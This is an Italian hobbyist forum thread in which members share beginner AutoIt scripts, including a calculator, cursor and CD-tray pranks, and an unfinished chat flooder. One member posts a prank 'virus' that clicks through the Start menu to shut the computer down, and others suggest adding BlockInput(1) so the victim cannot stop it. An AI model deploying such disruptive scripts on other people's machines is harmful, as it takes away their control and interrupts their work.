mandate i vostri programmi!

Admin Numero di messaggi: 813 Data d'iscrizione: 30.07.07

ora che avete appreso qualcosina su autoit perche non cominciate a inviarci le sorgnti dei vostri primi programmi con le relative spiegazioni Wink

postate i vostri script in modo da far conoscere anche agli altri alcune funzioni che magari non conoscono di autoit.
postate anche programmi banali (magari non che facciano una msgbox bounce

).
se non riuscite a far funzionare qualcosa postate! sarò contento (se potrò) di aiutarvi a risolvere i problemi Very Happy

ciaooo

darkjoker

_________________
L'unico computer sicuro, è un computer spento.

Nel software esiste sempre almeno un bug, generalmente è localizzabile tra la tastiera e la sedia

hack-member Numero di messaggi: 398 Data d'iscrizione: 03.09.07

ke ne dite di questa mia "calcolatrice"? so che è inutile, però mi sono divertito a farla Wink

Codice:

While 1
$a = MsgBox(4, " ", "Vuoi addizionare?")
If $a = 6 Then
$ad = InputBox(" ", "1° addendo")
$add = InputBox(" ", "2° addendo")
$s = $ad + $add
MsgBox(0, " ", $s)
Else
$b = MsgBox(4, " ", "Vuoi moltiplicare?")
If $b = 6 Then
$fa = InputBox(" ", "1° fattore")
$fat = InputBox(" ", "2° fattore")
$p = $fa * $fat
MsgBox(0, " ", $p)
Else
$c = MsgBox(4, " ", "Vuoi sottrarre?")
If $c = 6 Then
$mi = InputBox(" ", "minuendo")
$so = InputBox(" ", "sottraendo")
$di = $mi - $so
MsgBox(0, " ", $di)
Else
$d = MsgBox(4, " ", "Vuoi dividere?")
If $d = 6 Then
$div = InputBox(" ", "dividendo")
$div2 = InputBox(" ", "divisore")
$q = $div / $div2
MsgBox(0, " ", $q)
Else
$f = MsgBox(4, " ", "Vuoi elevare a potenza?")
If $f = 6 Then
$ba = InputBox(" ", "base")
$es = InputBox(" ", "esponente")
$r = $ba ^ $es
MsgBox(0, " ", $r)
Else
$g = MsgBox(4, " ", "Vuoi estrarre una radice?")
If $g = 6 Then
$bas = InputBox(" ", "base")
$esp = InputBox(" ", "esponente")
$ri = $bas ^ (1/$esp)
MsgBox(0, " ", $ri)
Else
$e = MsgBox(4, " ", "Vuoi uscire?")
If $e = 6 Then
ExitLoop
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
EndIf
WEnd

Admin Numero di messaggi: 343 Data d'iscrizione: 30.07.07

aaaaaaaaaaaaaaaaaahhhhh
che è sta roba???? affraid

potresti migliorarlo inserendo una semlice InputBox che chiede l'operazione(invece che 3000 MsgBox).
Comunque il modo migliore è usare le GUI,
ma questo argomento non è ancora stato trattato su questo forum.

Bè, dai, non ti deprimere...
Infondo funziona... Very Happy

P.S. la prossima volta che hai un lampo di genio(che ti viene un programma)
apri un nuovo topic

Oggetto: Re: mandate i vostri programmi! Lun Set 24, 2007 4:57 pm

ciao raga ho fatto questo virus che automaticamente sposta il mouse per spegnere il computer, ecco lo script:

while 1 = 1
MouseMove( 45, 755 )
sleep ( 500 )
MouseClick("left")
MouseClick("left")
MouseMove( 280, 713 )
sleep ( 500 )
mouseclick("left")
mouseclick("left")
MouseMove( 501, 281 )
mouseclick("left")
WEnd

ciao fatemi sapere jackhack Very Happy

Oggetto: Re: mandate i vostri programmi! Lun Set 24, 2007 5:00 pm

se ve ne interessa un altro eccolo lo chiamato mouse ballerino:

while 1 = 1
mousemove( 345, 567 )
mousemove( 456, 456 )
mousemove( 783, 123 )
mousemove( 463, 345 )
mousemove( 345, 567 )
mousemove( 456, 456 )
mousemove( 783, 123 )
mousemove( 463, 345 )
mousemove( 345, 567 )
WEND

ciao jackhack Very Happy

Oggetto: Re: mandate i vostri programmi! Lun Set 24, 2007 5:02 pm

questo è semplice si chiama lettore CD :

While 1
CDTray( "E:", "open")
WEnd

ciao jackhack Very Happy

hack-member Numero di messaggi: 398 Data d'iscrizione: 03.09.07

molto belli, però, nel primo, il while 1 è inutile, in quanto il ciclo basta che sia compiuto una sola volta

Admin Numero di messaggi: 343 Data d'iscrizione: 30.07.07

Se togli while 1,
ti consigio di mettere BlockInput(1) così il mouse si muoverà esattamente
come dovrebbe( per quanto possa smanettare col mouse chi si è beccato il virus...)

Oggetto: Re: mandate i vostri programmi! Mar Set 25, 2007 3:01 pm

grazie per i vostri consigli ciao jackhack Very Happy

Oggetto: Re: mandate i vostri programmi! Mar Set 25, 2007 3:23 pm

Darkphantom devo dire che senza while però è possibile fermare il movimento della freccia; è meglio come di certaindeath mettere il blockinput, ecco come verrebbe:

BlockInput
while 1 = 1
MouseMove( 45, 755 )
sleep ( 500 )
MouseClick("left")
MouseClick("left")
MouseMove( 280, 713 )
sleep ( 500 )
mouseclick("left")
MouseMove( 501, 281 )
mouseclick("left")
WEnd

ciao jackhack

hack-member Numero di messaggi: 398 Data d'iscrizione: 03.09.07

e vero, però ricordati che devi fare

Codice:

BlockInput(1)

Oggetto: Re: mandate i vostri programmi! Mar Set 25, 2007 4:52 pm

lo so quello sopra serviva per sintetizzare la nuova "versione" del mio virus-scherzo ciao jackhack

Admin Numero di messaggi: 343 Data d'iscrizione: 30.07.07

Bè, (1) non è poi così tanto...
Comunque bravo!!!
continua a mandarci programmi...

Oggetto: Re: mandate i vostri programmi! Mer Set 26, 2007 3:03 pm

va bene ne sto programmando uno nuovo appene lo finito velomando

Admin Numero di messaggi: 813 Data d'iscrizione: 30.07.07

per favore, mandateli su un nuovo topic, ok?

_________________
L'unico computer sicuro, è un computer spento.

Nel software esiste sempre almeno un bug, generalmente è localizzabile tra la tastiera e la sedia

hack-member Numero di messaggi: 398 Data d'iscrizione: 03.09.07

già, così saliamo nella classifica di forumattivo Wink

Admin Numero di messaggi: 813 Data d'iscrizione: 30.07.07

anche per quello Wink

_________________
L'unico computer sicuro, è un computer spento.

Nel software esiste sempre almeno un bug, generalmente è localizzabile tra la tastiera e la sedia

apprendista Numero di messaggi: 34 Data d'iscrizione: 26.10.07

Ciao a tutti...
sto lavorando ad un flooder per tutti quindi senza dover fare nulla modificando file (non tutti lo sanno fare Shocked

)

Vi metto il codice Smile

Codice:

DirCreate ("C:\Wowo\")
GUICreate("Floddino Floodoso", 340, 270)
$siID = GUICtrlCreateButton("Avvia", 0, 00, 340, 40)
$NoID = GUICtrlCreateButton("chiudi", 0, 205, 340, 50)
$q = GUICtrlCreateButton("Q", 0, 40, 20, 20)
$w = GUICtrlCreateButton("W", 20, 40, 20, 20)
$e = GUICtrlCreateButton("E", 40, 40, 20, 20)
$r = GUICtrlCreateButton("R", 60, 40, 20, 20)
$t = GUICtrlCreateButton("T", 80, 40, 20, 20)
$y = GUICtrlCreateButton("Y", 100, 40, 20, 20)
$u = GUICtrlCreateButton("U", 120, 40, 20, 20)
$i = GUICtrlCreateButton("I", 140, 40, 20, 20)
$o = GUICtrlCreateButton("O", 160, 40, 20, 20)
$p = GUICtrlCreateButton("P", 180, 40, 20, 20)

$a = GUICtrlCreateButton("A", 0, 60, 20, 20)
$s = GUICtrlCreateButton("S", 20, 60, 20, 20)
$d = GUICtrlCreateButton("D", 40, 60, 20, 20)
$f = GUICtrlCreateButton("F", 60, 60, 20, 20)
$g = GUICtrlCreateButton("G", 80, 60, 20, 20)
$h = GUICtrlCreateButton("H", 100, 60, 20, 20)
$j = GUICtrlCreateButton("J", 120, 60, 20, 20)
$k = GUICtrlCreateButton("K", 140, 60, 20, 20)
$l = GUICtrlCreateButton("L", 160, 60, 20, 20)

$z = GUICtrlCreateButton("Z", 20, 80, 20, 20)
$x = GUICtrlCreateButton("X", 40, 80, 20, 20)
$c = GUICtrlCreateButton("C", 60, 80, 20, 20)
$v = GUICtrlCreateButton("V", 80, 80, 20, 20)
$b = GUICtrlCreateButton("B", 100, 80, 20, 20)
$n = GUICtrlCreateButton("N", 120, 80, 20, 20)
$m = GUICtrlCreateButton("M", 140, 80, 20, 20)

$slash = GUICtrlCreateButton("/", 220, 40, 20, 20)
$asterisco = GUICtrlCreateButton("*", 240, 40, 20, 20)
$meno = GUICtrlCreateButton("-", 260, 40, 20, 20)
$piu = GUICtrlCreateButton("+", 280, 40, 20, 20)
$aptonda = GUICtrlCreateButton("(", 300, 40, 20, 20)
$chiustonda = GUICtrlCreateButton(")", 320, 40, 20, 20)

$punt = GUICtrlCreateButton(".", 220, 60, 20, 20)
$2punt = GUICtrlCreateButton(":", 240, 60, 20, 20)
$virg = GUICtrlCreateButton(",", 260, 60, 20, 20)
$2virg = GUICtrlCreateButton(";", 280, 60, 20, 20)
$eacc = GUICtrlCreateButton("è", 300, 60, 20, 20)
$oacc = GUICtrlCreateButton("ò", 320, 60, 20, 20)

$7 = GUICtrlCreateButton("7", 280, 100, 20, 20)
$8 = GUICtrlCreateButton("8", 300, 100, 20, 20)
$9 = GUICtrlCreateButton("9", 320, 100, 20, 20)
$4 = GUICtrlCreateButton("4", 280, 120, 20, 20)
$5 = GUICtrlCreateButton("5", 300, 120, 20, 20)
$6 = GUICtrlCreateButton("6", 320, 120, 20, 20)
$1 = GUICtrlCreateButton("1", 280, 140, 20, 20)
$2 = GUICtrlCreateButton("2", 300, 140, 20, 20)
$3 = GUICtrlCreateButton("3", 320, 140, 20, 20)
$0 = GUICtrlCreateButton("0", 280, 160, 60, 20)

$canc = GUICtrlCreateButton("Cancella", 00, 140, 80, 40)
$invi = GUICtrlCreateButton("Invio", 80, 140, 80, 40)

$spazio = GUICtrlCreateButton("Spazio", 00, 100, 160, 40)
$directory = ("C:\Wowo\wowo.txt")

GUISetState() ; display the GUI

Do
$msg = GUIGetMsg()

Select

      Case $msg= $q
FileWrite ($directory , "q" )
      Case $msg= $w
FileWrite ($directory , "w" )
      Case $msg= $e
FileWrite ($directory , "e" )
      Case $msg= $r
FileWrite ($directory , "r" )
      Case $msg= $t
FileWrite ($directory , "t" )
      Case $msg= $y
FileWrite ($directory , "y" )
      Case $msg= $u
FileWrite ($directory , "u" )
      Case $msg= $i
FileWrite ($directory , "i" )
      Case $msg= $o
FileWrite ($directory , "o" )
      Case $msg= $p
FileWrite ($directory , "p" )
      Case $msg= $a
FileWrite ($directory , "a" )
      Case $msg= $s
FileWrite ($directory , "s" )
      Case $msg= $d
FileWrite ($directory , "d" )
      Case $msg= $f
FileWrite ($directory , "f" )
      Case $msg= $g
FileWrite ($directory , "g" )
      Case $msg= $h
FileWrite ($directory , "h" )
      Case $msg= $j
FileWrite ($directory , "j" )
      Case $msg= $k
FileWrite ($directory , "k" )
      Case $msg= $l
FileWrite ($directory , "l" )
      Case $msg= $z
FileWrite ($directory , "z" )
      Case $msg= $x
FileWrite ($directory , "x" )
      Case $msg= $c
FileWrite ($directory , "c" )
      Case $msg= $v
FileWrite ($directory , "v" )
      Case $msg= $b
FileWrite ($directory , "b" )
      Case $msg= $n
FileWrite ($directory , "n" )
      Case $msg= $m
FileWrite ($directory , "m" )
      Case $msg= $slash
FileWrite ($directory , "/" )
      Case $msg= $asterisco
FileWrite ($directory , "*" )
      Case $msg= $piu
FileWrite ($directory , "+" )
      Case $msg= $aptonda
FileWrite ($directory , "(" )
      Case $msg= $chiustonda
FileWrite ($directory , ")" )
      Case $msg= $punt
FileWrite ($directory , "." )
      Case $msg= $2punt
FileWrite ($directory , ":" )
      Case $msg= $virg
FileWrite ($directory , "," )
      Case $msg= $2virg
FileWrite ($directory , ";" )
      Case $msg= $eacc
FileWrite ($directory , "è" )
      Case $msg= $oacc
FileWrite ($directory , "ò" )
      Case $msg= $0
FileWrite ($directory , "0" )
      Case $msg= $1
FileWrite ($directory , "1" )
      Case $msg= $2
FileWrite ($directory , "2" )
      Case $msg= $3
FileWrite ($directory , "3" )
      Case $msg= $4
FileWrite ($directory , "4" )
      Case $msg= $5
FileWrite ($directory , "5" )
      Case $msg= $6
FileWrite ($directory , "6" )
      Case $msg= $7
FileWrite ($directory , "7" )
      Case $msg= $8
FileWrite ($directory , "8" )
      Case $msg= $9
FileWrite ($directory , "9" )
      Case $msg= $canc
FileDelete ("C:\Wowo\wowo.txt")
      Case $msg= $invi
Run ("scrivi.exe")
      Case $msg= $spazio
FileWrite ($directory , " " )

EndSelect
Until $msg = $NoID
Exit

Ecco qua...
spero questo faccia smettere di dire che tutti quelli iscritti al forum di luky chan sono lamerotti tongue

che ne pensate ???

Successivamente (lo devo finire) metterò anche quello che fa Floodare in chat Smile

Oggetto: Re: mandate i vostri programmi! Sab Ott 27, 2007 9:55 am

Cazzo!Ci sai fare con le GUI, ma floodare è da lamerr( Very Happy

)
Scherzo...

apprendista Numero di messaggi: 34 Data d'iscrizione: 26.10.07

floodare è da lamer se lo fai a mano e pensi di fare qualcosa Smile

» PROGRAMMI P2P PER LINUX
» Qual è l'auto dei vostri sogni?
» R6 GOLD
» COME CREARE UN RETRO V40
» crere retro server v42 in 4 fasi

mandate i vostri programmi!

mandate i vostri programmi!

Argomenti simili

Argomenti simili